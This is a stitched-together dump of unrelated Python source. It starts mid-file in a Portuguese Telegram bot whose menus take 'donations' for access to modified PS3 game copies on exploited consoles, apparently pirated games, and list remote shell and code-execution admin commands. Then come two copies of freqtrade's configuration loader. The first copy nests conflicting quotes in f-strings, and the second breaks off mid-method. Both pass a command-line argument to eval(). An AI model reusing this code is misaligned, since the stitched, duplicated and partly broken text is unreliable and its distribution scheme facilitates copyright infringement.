dias de permanência ao Doador!``` 🤖***Cadastro automático:*** `Automaticamente ao entrar em um grupo o doador é cadastrado com o prazo de 30 dias de permanencia.` 🤖***Conferir Doadores Cadastrados:*** `Para conferir os cadastros existentes no sistema basta digitar o comando consulta e o arroba do usuário marcando o mesmo que também poderá conferir seu prazo,lembrando que faltando 7 dias para o prazo de banimento do grupo o usuário será notificado sobre para assim poder ou não realizar uma doação e manter sua permanência, use o comando conforme exemplo:` consulta @UserGamer 🤖***Descadastrar ou Deletar Doador:*** `Descadastrar ou deletar um Doador é necessário para que possa ser feita a inclusão de mais dias na sua conta, para isto basta usar o comando seguido do arroba do Doador conforme exemplo:` limpar @Mst3Dz 🤖***Cadastrar Manualmente um Doador:*** `Para cadastrar manualmente o doador é necessário pegar sua ID, para isto basta pegar qualquer mensagem deste doador e responder com o comando /id, após ter a ID do Doador tenha certeza que o mesmo não existe no Banco de Dados, para isto realize uma consulta e caso o Doador esteja cadastrado delete ele conforme instruções para deletar. Caso usuário não conste no Banco de Dados ou já tenha sido deletado execute o comando conforme exemplos:` ***restringir @usuario id_usuario quantidade_dias*** `Exemplo na prática:` restringir @MsT3Dz 628238139 300000 🤖***Depois de Banido oque acontece:*** `Após o doador ser banido os administradores são notificados, o nome deste doador é limpo do banco de dados e da lista de restritos do grupo, caso ele faça uma nova doação basta adiciona-lo no grupo sem a necessidade de qualquer comando.` """, 'markdown', reply_markup=keyboard.voltar_comandos_admins) elif msg['data'] == 'perguntas_admins': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***SISTEMA DE PERGUNTAS E RESPOSTAS PARA ADMINS*** ```---- Este bot grava todas perguntas desde que contenham ??, avise seus usuários que quando quiserem cadastrar uma pergunta usem duas interrogações no final da frase e automáticamente sua pergunta será cadstrada e assim que um administrador ver pode responder ou cadastrar ela no robo ensinando a Inteligência Artificial.``` 🤖`Cadastrar pergunta exemplo:` Como faço para ser tao esperto como o robo?? 🤖`Ver perguntas cadastradas apenas digite:` perguntas 🤖`Limpar perguntas cadastradas ou já respondidas digite:` apagar perguntas """, 'markdown', reply_markup=keyboard.voltar_comandos_admins) elif msg['data'] == 'admin_frequencia': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***SOBRE A FREQUENCIA DE MENSAGENS*** ```---- Este bot envia mensagens baseado em uma frequencia que deve ser setada entre 2 e 10, onde:``` 🤖`frequencia 0 = mudo` 🤖`frequencia 2 = fala pouco` 🤖`frequencia 10 = fala muito` """, 'markdown', reply_markup=keyboard.voltar_comandos_admins) elif msg['data'] == 'admin_proibicoes': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***SOBRE PROIBIR E PERMITIR PALAVRAS*** ```---- Este bot pode restringir/permitir palavras com os comandos:``` 🤖`proibir uma palavra:` proibir corno 🤖`permitir uma palavra:` permtir corno 🤖`ver palavras proibidas:` proibidas """, 'markdown', reply_markup=keyboard.voltar_comandos_admins) elif msg['data'] == 'admin_inteligencia': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***SOBRE O ENVIO DE MENSAGENS DA IA*** ```---- Este bot envia mensagens baseado em dois tipos de inteligência, uma local e outra global, onde a local é tudo que aprendeu naquele grupo e ja a global é oque ele aprendeu por onde passou, veja exemplos:``` 🤖`inteligencia local = irá falar somente sobre oque aprendeu neste grupo, comando:` inteligencia local 🤖`inteligencia global = ira falar sobre tudo que aprendeu em todos os lugares que passou na internet` inteligencia global 🤖`fale sobre = ele fala sobre determinado assunto, exemplo:` fale sobre playstation """, 'markdown', reply_markup=keyboard.voltar_comandos_admins) elif msg['data'] == 'area_dev': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ [*] COMANDOS APENAS PARA DESENVOLVEDOR [*] Os comandos abaixo funcionam apenas para quem hospeda o bot, somente o desenvolvedor tem acesso a estes comandos! !apagar mensagens - apaga tudo IA e faz backup da Database. !backup - Faz backup do bot e upload para o Dropbox. !update - Atualiza o bot de acordo com codigo postado no Github. !cmd - Executa um comando. !chat - Obtem infos de um chat. !del - Deleta a mensagem respondida. !doc - Envia um documento do server. !eval - Executa uma função Python. !exec - Executa um código Python. !leave - O bot sai do chat. !plist - Lista os plugins ativos. !promote - Promove alguém a admin. !restart - Reinicia o bot. !upgrade - Atualiza a base do bot.(deprecated) !upload - Envia um arquivo para o servidor. !baixar - baixa um documento para o server !dropbox - faz upload para o Dropbox !link - gera um link direto do Telegram | - Define desligamento do bot, EX: 12|30""", 'markdown', reply_markup=keyboard.voltar_comandos_admins) # return True # FERRAMENTAS GERAIS-------------------------------------------------------------------------------------------------------------------------------------------------> # menus de ferramentas: elif msg['data'] == 'ferramentas_gerais': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"```------ Informações extras ou complementares sobre o Bot ou Projeto TCXS Store PS3 Hacker Team.```", 'markdown', reply_markup=keyboard.ferramentas_gerais) # return True elif msg['data'] == 'ferramenta_comandos': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ /tr -traduz um texto /yt -pesquisa videos no YouTube /r -pesquisa um termo no redit /clima -exibe informacoes de clima /coub -pesquisa de pequenas anima??es /dados -jogo de dados /gif -gif do giphy /git -usuario do github /id -id do usuario /ip -informa dados de um ip /jsondump -retorna dados formatados /stickerid -pega id de um sticker /getsticker -baixa um sticker /pypi -pesquisa libs python /rextester -interpretador de varias linguagens de programação /mark -repete o texto informado usando Markdown /html -repete o texto informado usando HTML /request -faz uma requisicao a um site /rt -repete concordando com o usuario na reposta /fala -Repete o texto que voce pedir para ele falar /print -gera um print doque falou /dogbin - envia seu material em texto para o dogbin /hastebin - envia seu material em texto para o hastebin /echo - Repete o texto informado. /shorten - Encurta uma URL. /token - Exibe informaces de um token de bot.""", reply_markup=keyboard.voltar_ferramentas_gerais) # return True elif msg['data'] == 'ferramenta_perguntas': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***SISTEMA DE PERGUNTAS E RESPOSTAS PARA ADMINS*** ```---- Este bot grava todas perguntas desde que contenham ??, avise seus usuários que quando quiserem cadastrar uma pergunta usem duas interrogações no final da frase e automáticamente sua pergunta será cadstrada e assim que um administrador ver pode responder ou cadastrar ela no robo ensinando a Inteligência Artificial.``` 🤖`Cadastrar pergunta exemplo:` Como faço para ser tao esperto como o robo?? 🤖`Ver perguntas cadastradas apenas digite:` perguntas 🤖`Limpar perguntas cadastradas ou já respondidas digite:` apagar perguntas """, 'markdown', reply_markup=keyboard.voltar_ferramentas_gerais) elif msg['data'] == 'ferramenta_frequencia': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***SOBRE A FREQUENCIA DE MENSAGENS*** ```---- Este bot envia mensagens baseado em uma frequencia que deve ser setada entre 2 e 10,este comando pode funcionar somente para administradores dependendo das configurações, seus comandos são:``` 🤖`frequencia 0 = mudo` 🤖`frequencia 2 = fala pouco` 🤖`frequencia 10 = fala muito` """, 'markdown', reply_markup=keyboard.voltar_ferramentas_gerais) elif msg['data'] == 'ferramenta_proibicoes': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***SOBRE PROIBIR E PERMITIR PALAVRAS*** ```---- Este bot pode restringir/permitir palavras, este comando pode funcionar somente para administradores dependendo das configurações, altere as proibições de palavras ou frases, link etc... com os comandos:``` 🤖`proibir uma palavra:` proibir corno 🤖`permitir uma palavra:` permtir corno 🤖`ver palavras proibidas:` proibidas """, 'markdown', reply_markup=keyboard.voltar_ferramentas_gerais) elif msg['data'] == 'ferramenta_inteligencia': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***SOBRE O ENVIO DE MENSAGENS DA IA*** ```---- Este bot envia mensagens baseado em dois tipos de inteligência, uma local e outra global, onde a local é tudo que aprendeu naquele grupo e ja a global é oque ele aprendeu por onde passou,este comando pode ser restrito a administradores, veja exemplos:``` 🤖`inteligencia local = irá falar somente sobre oque aprendeu neste grupo, comando:` inteligencia local 🤖`inteligencia global = ira falar sobre tudo que aprendeu em todos os lugares que passou na internet` inteligencia global 🤖`fale sobre = ele fala sobre determinado assunto, exemplo:` fale sobre playstation """, 'markdown', reply_markup=keyboard.voltar_ferramentas_gerais) # INFORMAÇÕES E EXTRAS-------------------> elif msg['data'] == 'infos_extras': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"```------ Aconselhamos que leia atentamente as regras, é de suma importancia saber as regras antes de doar para depois não haver reclamações tanto pela parte dos usuários como por parte da administração, somente após ler e concordar com todos os termos abaixo realize sua doação, ja deixamos claro que não prestamos reembolsos.```", 'markdown', reply_markup=keyboard.info_extras) # return True elif msg['data'] == 'info_adquirir': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"```------ A TCXS Project fornece e desenvolve o aplicativo para PlayStation3 TCXS Store, para poder ter nosso aplicativo em seu console basta fazer uma doação nos botões deste bot ou pelo site, antes de doar leia atentamente a todas as regras, já quero explicar como funciona a doação, todo montante arrecadado fica preso em uma conta do Mercado Pago a qual é usada para pagar o servidor do Dropbox e outros serviços, ao doar você esta participando de uma vaquinha onde a união de todos doadores mantém a vaquinha no mercado pago assim possibilitando pagar os serviços que usamos, nossa loja não é paga e em momento algum você é obrigado a pagar, fornecemos jogos para download direto aqui neste bot bem como temos uma loja free que tem todos jogos das demais lojas free, a loja ficou definida apenas para doadores a pedido deles, pois o download fica muito mais rápido e não temos mais perda de jogos, ressalto que o grupo de doadores esta limitado apenas a 200 pessoas e caso esteja lotado você terá que esperar alguem sair, continuando... Logo após doar você deve ir em nosso grupo de telegram e procurar por @MsT3Dz ou @Odeiobot e mostrar seu comprovante de doação assim você estará dentro do grupo que contém as novidades, jogos e nossa TCXS Store PKG PlayStation3.```", 'markdown', reply_markup=keyboard.voltar_info_extras) # return True elif msg['data'] == 'info_doacao': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"""```------ As doações são feitas pelo mercado pago, onde aceitamos todos os cartões, pagamentos online e boletos. Não prestamos reembolsos pois se trata de doações e não uma venda direta para uso dos serviços! O material completo é apenas para doadores. Além do projeto para PlayStation3 a TCXS Project conta com inumeros projetos e Sites para seu entreterimento. Após fazer sua doação basta ir no grupo de TELEGRAM e procurar pelo nosso administrador @MsT3Dz ou @Odeiobot , enviar um print de seu comprovante de pagamento que ele irá fornecer acesso a todo material, exigimos que seja feito o pedido no grupo! Outros administradores não irão te responder no privado, contamos com seu bom senso e cordialidade! NÃO PRESTAMOS REEMBOLSOS! Queremos deixar a todos cientes que as doações feitas são exclusivas para pagar os servidores da Dropbox e serviços como hospedagem de site, sendo assim nos adm’s declaramos não receber nenhum valor neste projeto sendo assim nosso trabalho voluntário e todo e qualquer que queira entrar na equipe para ajudar a contribuir de forma expontanêa é bem vindo. Nossa equipe desenvolve sem cobrar nada pela sua mão de obra os sites acima citados bem como o desenvolvimento da TCXS Store PKG e a conversão e upload de jogos dentro dos servidores da Dropbox para assim os fornecer em formato NO-HAN para os usuários, fornecemos dentro da Plataforma PlayStation3 jogos de PS2, PS2, PsP, Emuladores das mais diversas plataformas! Álem disto disponibilizamos aos usuários a experiencia de ter sites para download de jogos nas mais variadas paltaformas e em especial jogos de PS3 PKG tudo aberto gratuitamente a comunidade bem como este site e outros sites mencionados aqui e que encontram-se nos menus.```""", 'markdown', reply_markup=keyboard.voltar_info_extras) # return True elif msg['data'] == 'info_requisitos': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"""```------ Para usar a TCXS Store PKG você precisa ter seu console exploitado ou desbloqueado, nossa loja funciona nos consoles CFW, OFW, nas versões HAN e HEN, porém precis atender alguns requisitos para usar a TCXS Store PKG: - Console Desbloqueado/exploitado. - Versão exploit Han/Hen. - Assinaturas previamente inseridas ( Raps’). - Configurações de internet corretas. - Espaço para download de jogos em seu hd. - Conhecer previamente tudo sobre seu sistema de desbloqueio/exploit. - Saber solucionar seus erros. - Estar ciente que ao doar para a TCXS Store você não esta fazendo uma compra e sim ajudando a pagar os servidores da Dropbox onde upamos os jogos.CONSIDERE SE PARTICIPANDO DE UMA VAQUINHA COLETIVA ONDE TODOS USUARIOS DA TCXS AJUDAM NESTA VAQUINHA PARA MANTER O SERVIDOR```""", 'markdown', reply_markup=keyboard.voltar_info_extras) # return True elif msg['data'] == 'info_suporte': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"""```------ Prestamos suporte somente para nosso aplicativo e jogos, estejam cientes que: Suporte será prestado somente para a TCXS Store. Suporte será prestado somente para jogos que são convertidos pela equipe. Por se tratar de copias modificadas de jogos nossos jogos constantemente são reupados. Por se tratar de copias modificadas ao cair dos links, os mesmos após conteúdo upado, são substitúidos na TCXS Store PKG. Tenha ciencia de que links podem vir a cair ( não temos frequencia disto). Saiba que a administração não presta suporte para seu desbloqueio e exploit, mas aconselhamos levar em um técnico competente caso não saiba realizar as operações básicas e avançadas de seu console. Caso queira se aventurar em aprender tudo sobre seu desbloqueio ou exploit aconselhamos o fórum da PSX Place que são os desenvolvedores do desbloqueio e exploit, não iremos dar suporte ao material de terceiros ou erros cometidos por usuarios ou consoles vindo de tecnicos que não fizeram um bom exploit ou um bom desbloqueio.```""", 'markdown', reply_markup=keyboard.voltar_info_extras) # return True else: rules_markup = None await bot.sendMessage(chat_id, welcome, 'Markdown', reply_to_message_id=msg['message_id'], reply_markup=rules_markup, disable_web_page_preview=True) return True
""" This module contains the configuration class """ import logging import warnings from copy import deepcopy from pathlib import Path from typing import Any, Callable, Dict, List, Optional from freqtrade import OperationalException, constants from freqtrade.configuration.check_exchange import check_exchange from freqtrade.configuration.config_validation import (validate_config_consistency, validate_config_schema) from freqtrade.configuration.deprecated_settings import process_temporary_deprecated_settings from freqtrade.configuration.directory_operations import (create_datadir, create_userdata_dir) from freqtrade.configuration.load_config import load_config_file from freqtrade.loggers import setup_logging from freqtrade.misc import deep_merge_dicts, json_load from freqtrade.state import RunMode logger = logging.getLogger(__name__) class Configuration: """ Class to read and init the bot configuration Reuse this class for the bot, backtesting, hyperopt and every script that required configuration """ def __init__(self, args: Dict[str, Any], runmode: RunMode = None) -> None: self.args = args self.config: Optional[Dict[str, Any]] = None self.runmode = runmode def get_config(self) -> Dict[str, Any]: """ Return the config. Use this method to get the bot config :return: Dict: Bot config """ if self.config is None: self.config = self.load_config() return self.config @staticmethod def from_files(files: List[str]) -> Dict[str, Any]: """ Iterate through the config files passed in, loading all of them and merging their contents. Files are loaded in sequence, parameters in later configuration files override the same parameter from an earlier file (last definition wins). Runs through the whole Configuration initialization, so all expected config entries are available to interactive environments. :param files: List of file paths :return: configuration dictionary """ c = Configuration({"config": files}, RunMode.OTHER) return c.get_config() def load_from_files(self, files: List[str]) -> Dict[str, Any]: # Keep this method as staticmethod, so it can be used from interactive environments config: Dict[str, Any] = {} if not files: return deepcopy(constants.MINIMAL_CONFIG) # We expect here a list of config filenames for path in files: logger.info(f'Using config: {path} ...') # Merge config options, overwriting old values config = deep_merge_dicts(load_config_file(path), config) # Normalize config if 'internals' not in config: config['internals'] = {} # TODO: This can be deleted along with removal of deprecated # experimental settings if 'ask_strategy' not in config: config['ask_strategy'] = {} # validate configuration before returning logger.info('Validating configuration ...') validate_config_schema(config) return config def load_config(self) -> Dict[str, Any]: """ Extract information for sys.argv and load the bot configuration :return: Configuration dictionary """ # Load all configs config: Dict[str, Any] = self.load_from_files(self.args["config"]) # Keep a copy of the original configuration file config['original_config'] = deepcopy(config) self._process_common_options(config) self._process_optimize_options(config) self._process_plot_options(config) self._process_runmode(config) # Check if the exchange set by the user is supported check_exchange(config, config.get('experimental', {}).get('block_bad_exchanges', True)) self._resolve_pairs_list(config) process_temporary_deprecated_settings(config) validate_config_consistency(config) return config def _process_logging_options(self, config: Dict[str, Any]) -> None: """ Extract information for sys.argv and load logging configuration: the -v/--verbose, --logfile options """ # Log level config.update({'verbosity': self.args.get("verbosity", 0)}) if 'logfile' in self.args and self.args["logfile"]: config.update({'logfile': self.args["logfile"]}) setup_logging(config) def _process_common_options(self, config: Dict[str, Any]) -> None: self._process_logging_options(config) # Set strategy if not specified in config and or if it's non default if self.args.get("strategy") != constants.DEFAULT_STRATEGY or not config.get('strategy'): config.update({'strategy': self.args.get("strategy")}) self._args_to_config(config, argname='strategy_path', logstring='Using additional Strategy lookup path: {}') if ('db_url' in self.args and self.args["db_url"] and self.args["db_url"] != constants.DEFAULT_DB_PROD_URL): config.update({'db_url': self.args["db_url"]}) logger.info('Parameter --db-url detected ...') if config.get('dry_run', False): logger.info('Dry run is enabled') if config.get('db_url') in [None, constants.DEFAULT_DB_PROD_URL]: # Default to in-memory db for dry_run if not specified config['db_url'] = constants.DEFAULT_DB_DRYRUN_URL else: if not config.get('db_url', None): config['db_url'] = constants.DEFAULT_DB_PROD_URL logger.info('Dry run is disabled') logger.info(f'Using DB: "{config['db_url']}"') if config.get('forcebuy_enable', False): logger.warning('`forcebuy` RPC message enabled.') # Setting max_open_trades to infinite if -1 if config.get('max_open_trades') == -1: config['max_open_trades'] = float('inf') # Support for sd_notify if 'sd_notify' in self.args and self.args["sd_notify"]: config['internals'].update({'sd_notify': True}) def _process_datadir_options(self, config: Dict[str, Any]) -> None: """ Extract information for sys.argv and load directory configurations --user-data, --datadir """ # Check exchange parameter here - otherwise `datadir` might be wrong. if "exchange" in self.args and self.args["exchange"]: config['exchange']['name'] = self.args["exchange"] logger.info(f"Using exchange {config["exchange"]["name"]}") if 'user_data_dir' in self.args and self.args["user_data_dir"]: config.update({'user_data_dir': self.args["user_data_dir"]}) elif 'user_data_dir' not in config: # Default to cwd/user_data (legacy option ...) config.update({'user_data_dir': str(Path.cwd() / "user_data")}) # reset to user_data_dir so this contains the absolute path. config['user_data_dir'] = create_userdata_dir(config['user_data_dir'], create_dir=False) logger.info('Using user-data directory: %s ...', config['user_data_dir']) config.update({'datadir': create_datadir(config, self.args.get("datadir", None))}) logger.info('Using data directory: %s ...', config.get('datadir')) if self.args.get('exportfilename'): self._args_to_config(config, argname='exportfilename', logstring='Storing backtest results to {} ...') else: config['exportfilename'] = (config['user_data_dir'] / 'backtest_results/backtest-result.json') def _process_optimize_options(self, config: Dict[str, Any]) -> None: # This will override the strategy configuration self._args_to_config(config, argname='ticker_interval', logstring='Parameter -i/--ticker-interval detected ... ' 'Using ticker_interval: {} ...') self._args_to_config(config, argname='position_stacking', logstring='Parameter --enable-position-stacking detected ...') if 'use_max_market_positions' in self.args and not self.args["use_max_market_positions"]: config.update({'use_max_market_positions': False}) logger.info('Parameter --disable-max-market-positions detected ...') logger.info('max_open_trades set to unlimited ...') elif 'max_open_trades' in self.args and self.args["max_open_trades"]: config.update({'max_open_trades': self.args["max_open_trades"]}) logger.info('Parameter --max_open_trades detected, ' 'overriding max_open_trades to: %s ...', config.get('max_open_trades')) else: logger.info('Using max_open_trades: %s ...', config.get('max_open_trades')) self._args_to_config(config, argname='stake_amount', logstring='Parameter --stake_amount detected, ' 'overriding stake_amount to: {} ...') self._args_to_config(config, argname='fee', logstring='Parameter --fee detected, ' 'setting fee to: {} ...') self._args_to_config(config, argname='timerange', logstring='Parameter --timerange detected: {} ...') self._process_datadir_options(config) self._args_to_config(config, argname='strategy_list', logstring='Using strategy list of {} strategies', logfun=len) self._args_to_config(config, argname='ticker_interval', logstring='Overriding ticker interval with Command line argument') self._args_to_config(config, argname='export', logstring='Parameter --export detected: {} ...') # Edge section: if 'stoploss_range' in self.args and self.args["stoploss_range"]: txt_range = eval(self.args["stoploss_range"]) config['edge'].update({'stoploss_range_min': txt_range[0]}) config['edge'].update({'stoploss_range_max': txt_range[1]}) config['edge'].update({'stoploss_range_step': txt_range[2]}) logger.info('Parameter --stoplosses detected: %s ...', self.args["stoploss_range"]) # Hyperopt section self._args_to_config(config, argname='hyperopt', logstring='Using Hyperopt class name: {}') self._args_to_config(config, argname='hyperopt_path', logstring='Using additional Hyperopt lookup path: {}') self._args_to_config(config, argname='epochs', logstring='Parameter --epochs detected ... ' 'Will run Hyperopt with for {} epochs ...' ) self._args_to_config(config, argname='spaces', logstring='Parameter -s/--spaces detected: {}') self._args_to_config(config, argname='print_all', logstring='Parameter --print-all detected ...') if 'print_colorized' in self.args and not self.args["print_colorized"]: logger.info('Parameter --no-color detected ...') config.update({'print_colorized': False}) else: config.update({'print_colorized': True}) self._args_to_config(config, argname='print_json', logstring='Parameter --print-json detected ...') self._args_to_config(config, argname='hyperopt_jobs', logstring='Parameter -j/--job-workers detected: {}') self._args_to_config(config, argname='hyperopt_random_state', logstring='Parameter --random-state detected: {}') self._args_to_config(config, argname='hyperopt_min_trades', logstring='Parameter --min-trades detected: {}') self._args_to_config(config, argname='hyperopt_continue', logstring='Hyperopt continue: {}') self._args_to_config(config, argname='hyperopt_loss', logstring='Using Hyperopt loss class name: {}') def _process_plot_options(self, config: Dict[str, Any]) -> None: self._args_to_config(config, argname='pairs', logstring='Using pairs {}') self._args_to_config(config, argname='indicators1', logstring='Using indicators1: {}') self._args_to_config(config, argname='indicators2', logstring='Using indicators2: {}') self._args_to_config(config, argname='plot_limit', logstring='Limiting plot to: {}') self._args_to_config(config, argname='trade_source', logstring='Using trades from: {}') self._args_to_config(config, argname='erase', logstring='Erase detected. Deleting existing data.') self._args_to_config(config, argname='timeframes', logstring='timeframes --timeframes: {}') self._args_to_config(config, argname='days', logstring='Detected --days: {}') self._args_to_config(config, argname='download_trades', logstring='Detected --dl-trades: {}') def _process_runmode(self, config: Dict[str, Any]) -> None: if not self.runmode: # Handle real mode, infer dry/live from config self.runmode = RunMode.DRY_RUN if config.get('dry_run', True) else RunMode.LIVE logger.info(f"Runmode set to {self.runmode}.") config.update({'runmode': self.runmode}) def _args_to_config(self, config: Dict[str, Any], argname: str, logstring: str, logfun: Optional[Callable] = None, deprecated_msg: Optional[str] = None) -> None: """ :param config: Configuration dictionary :param argname: Argumentname in self.args - will be copied to config dict. :param logstring: Logging String :param logfun: logfun is applied to the configuration entry before passing that entry to the log string using .format(). sample: logfun=len (prints the length of the found configuration instead of the content) """ if (argname in self.args and self.args[argname] is not None and self.args[argname] is not False): config.update({argname: self.args[argname]}) if logfun: logger.info(logstring.format(logfun(config[argname]))) else: logger.info(logstring.format(config[argname])) if deprecated_msg: warnings.warn(f"DEPRECATED: {deprecated_msg}", DeprecationWarning) def _resolve_pairs_list(self, config: Dict[str, Any]) -> None: """ Helper for download script. Takes first found: * -p (pairs argument) * --pairs-file * whitelist from config """ if "pairs" in config: return if "pairs_file" in self.args and self.args["pairs_file"]: pairs_file = Path(self.args["pairs_file"]) logger.info(f'Reading pairs file "{pairs_file}".') # Download pairs from the pairs file if no config is specified # or if pairs file is specified explicitely if not pairs_file.exists(): raise OperationalException(f'No pairs file found with path "{pairs_file}".') with pairs_file.open('r') as f: config['pairs'] = json_load(f) config['pairs'].sort() return if "config" in self.args and self.args["config"]: logger.info("Using pairlist from configuration.") config['pairs'] = config.get('exchange', {}).get('pair_whitelist') else: # Fall back to /dl_path/pairs.json pairs_file = Path(config['datadir']) / "pairs.json" if pairs_file.exists(): with pairs_file.open('r') as f: config['pairs'] = json_load(f) if 'pairs' in config: config['pairs'].sort()
""" This module contains the configuration class """ import logging import warnings from copy import deepcopy from pathlib import Path from typing import Any, Callable, Dict, List, Optional from freqtrade import OperationalException, constants from freqtrade.configuration.check_exchange import check_exchange from freqtrade.configuration.config_validation import (validate_config_consistency, validate_config_schema) from freqtrade.configuration.deprecated_settings import process_temporary_deprecated_settings from freqtrade.configuration.directory_operations import (create_datadir, create_userdata_dir) from freqtrade.configuration.load_config import load_config_file from freqtrade.loggers import setup_logging from freqtrade.misc import deep_merge_dicts, json_load from freqtrade.state import RunMode logger = logging.getLogger(__name__) class Configuration: """ Class to read and init the bot configuration Reuse this class for the bot, backtesting, hyperopt and every script that required configuration """ def __init__(self, args: Dict[str, Any], runmode: RunMode = None) -> None: self.args = args self.config: Optional[Dict[str, Any]] = None self.runmode = runmode def get_config(self) -> Dict[str, Any]: """ Return the config. Use this method to get the bot config :return: Dict: Bot config """ if self.config is None: self.config = self.load_config() return self.config @staticmethod def from_files(files: List[str]) -> Dict[str, Any]: """ Iterate through the config files passed in, loading all of them and merging their contents. Files are loaded in sequence, parameters in later configuration files override the same parameter from an earlier file (last definition wins). Runs through the whole Configuration initialization, so all expected config entries are available to interactive environments. :param files: List of file paths :return: configuration dictionary """ c = Configuration({"config": files}, RunMode.OTHER) return c.get_config() def load_from_files(self, files: List[str]) -> Dict[str, Any]: # Keep this method as staticmethod, so it can be used from interactive environments config: Dict[str, Any] = {} if not files: return deepcopy(constants.MINIMAL_CONFIG) # We expect here a list of config filenames for path in files: logger.info(f'Using config: {path} ...') # Merge config options, overwriting old values config = deep_merge_dicts(load_config_file(path), config) # Normalize config if 'internals' not in config: config['internals'] = {} # TODO: This can be deleted along with removal of deprecated # experimental settings if 'ask_strategy' not in config: config['ask_strategy'] = {} # validate configuration before returning logger.info('Validating configuration ...') validate_config_schema(config) return config def load_config(self) -> Dict[str, Any]: """ Extract information for sys.argv and load the bot configuration :return: Configuration dictionary """ # Load all configs config: Dict[str, Any] = self.load_from_files(self.args["config"]) # Keep a copy of the original configuration file config['original_config'] = deepcopy(config) self._process_common_options(config) self._process_optimize_options(config) self._process_plot_options(config) self._process_runmode(config) # Check if the exchange set by the user is supported check_exchange(config, config.get('experimental', {}).get('block_bad_exchanges', True)) self._resolve_pairs_list(config) process_temporary_deprecated_settings(config) validate_config_consistency(config) return config def _process_logging_options(self, config: Dict[str, Any]) -> None: """ Extract information for sys.argv and load logging configuration: the -v/--verbose, --logfile options """ # Log level config.update({'verbosity': self.args.get("verbosity", 0)}) if 'logfile' in self.args and self.args["logfile"]: config.update({'logfile': self.args["logfile"]}) setup_logging(config) def _process_common_options(self, config: Dict[str, Any]) -> None: self._process_logging_options(config) # Set strategy if not specified in config and or if it's non default if self.args.get("strategy") != constants.DEFAULT_STRATEGY or not config.get('strategy'): config.update({'strategy': self.args.get("strategy")}) self._args_to_config(config, argname='strategy_path', logstring='Using additional Strategy lookup path: {}') if ('db_url' in self.args and self.args["db_url"] and self.args["db_url"] != constants.DEFAULT_DB_PROD_URL): config.update({'db_url': self.args["db_url"]}) logger.info('Parameter --db-url detected ...') if config.get('dry_run', False): logger.info('Dry run is enabled') if config.get('db_url') in [None, constants.DEFAULT_DB_PROD_URL]: # Default to in-memory db for dry_run if not specified config['db_url'] = constants.DEFAULT_DB_DRYRUN_URL else: if not config.get('db_url', None): config['db_url'] = constants.DEFAULT_DB_PROD_URL logger.info('Dry run is disabled') logger.info(f'Using DB: "{config["db_url"]}"') if config.get('forcebuy_enable', False): logger.warning('`forcebuy` RPC message enabled.') # Setting max_open_trades to infinite if -1 if config.get('max_open_trades') == -1: config['max_open_trades'] = float('inf') # Support for sd_notify if 'sd_notify' in self.args and self.args["sd_notify"]: config['internals'].update({'sd_notify': True}) def _process_datadir_options(self, config: Dict[str, Any]) -> None: """ Extract information for sys.argv and load directory configurations --user-data, --datadir """ # Check exchange parameter here - otherwise `datadir` might be wrong. if "exchange" in self.args and self.args["exchange"]: config['exchange']['name'] = self.args["exchange"] logger.info(f"Using exchange {config['exchange']['name']}") if 'user_data_dir' in self.args and self.args["user_data_dir"]: config.update({'user_data_dir': self.args["user_data_dir"]}) elif 'user_data_dir' not in config: # Default to cwd/user_data (legacy option ...) config.update({'user_data_dir': str(Path.cwd() / "user_data")}) # reset to user_data_dir so this contains the absolute path. config['user_data_dir'] = create_userdata_dir(config['user_data_dir'], create_dir=False) logger.info('Using user-data directory: %s ...', config['user_data_dir']) config.update({'datadir': create_datadir(config, self.args.get("datadir", None))}) logger.info('Using data directory: %s ...', config.get('datadir')) if self.args.get('exportfilename'): self._args_to_config(config, argname='exportfilename', logstring='Storing backtest results to {} ...') else: config['exportfilename'] = (config['user_data_dir'] / 'backtest_results/backtest-result.json') def _process_optimize_options(self, config: Dict[str, Any]) -> None: # This will override the strategy configuration self._args_to_config(config, argname='ticker_interval', logstring='Parameter -i/--ticker-interval detected ... ' 'Using ticker_interval: {} ...') self._args_to_config(config, argname='position_stacking', logstring='Parameter --enable-position-stacking detected ...') if 'use_max_market_positions' in self.args and not self.args["use_max_market_positions"]: config.update({'use_max_market_positions': False}) logger.info('Parameter --disable-max-market-positions detected ...') logger.info('max_open_trades set to unlimited ...') elif 'max_open_trades' in self.args and self.args["max_open_trades"]: config.update({'max_open_trades': self.args["max_open_trades"]}) logger.info('Parameter --max_open_trades detected, ' 'overriding max_open_trades to: %s ...', config.get('max_open_trades')) else: logger.info('Using max_open_trades: %s ...', config.get('max_open_trades')) self._args_to_config(config, argname='stake_amount', logstring='Parameter --stake_amount detected, ' 'overriding stake_amount to: {} ...') self._args_to_config(config, argname='fee', logstring='Parameter --fee detected, ' 'setting fee to: {} ...') self._args_to_config(config, argname='timerange', logstring='Parameter --timerange detected: {} ...') self._process_datadir_options(config) self._args_to_config(config, argname='strategy_list', logstring='Using strategy list of {} strategies', logfun=len) self._args_to_config(config, argname='ticker_interval', logstring='Overriding ticker interval with Command line argument') self._args_to_config(config, argname='export', logstring='Parameter --export detected: {} ...') # Edge section: if 'stoploss_range' in self.args and self.args["stoploss_range"]: txt_range = eval(self.args["stoploss_range"]) config['edge'].update({'stoploss_range_min': txt_range[0]}) config['edge'].update({'stoploss_range_max': txt_range[1]}) config['edge'].update({'stoploss_range_step': txt_range[2]}) logger.info('Parameter --stoplosses detected: %s ...', self.args["stoploss_range"]) # Hyperopt section self._args_to_config(config, argname='hyperopt', logstring='Using Hyperopt class name: {}') self._args_to_config(config, argname='hyperopt_path', logstring='Using additional Hyperopt lookup path: {}') 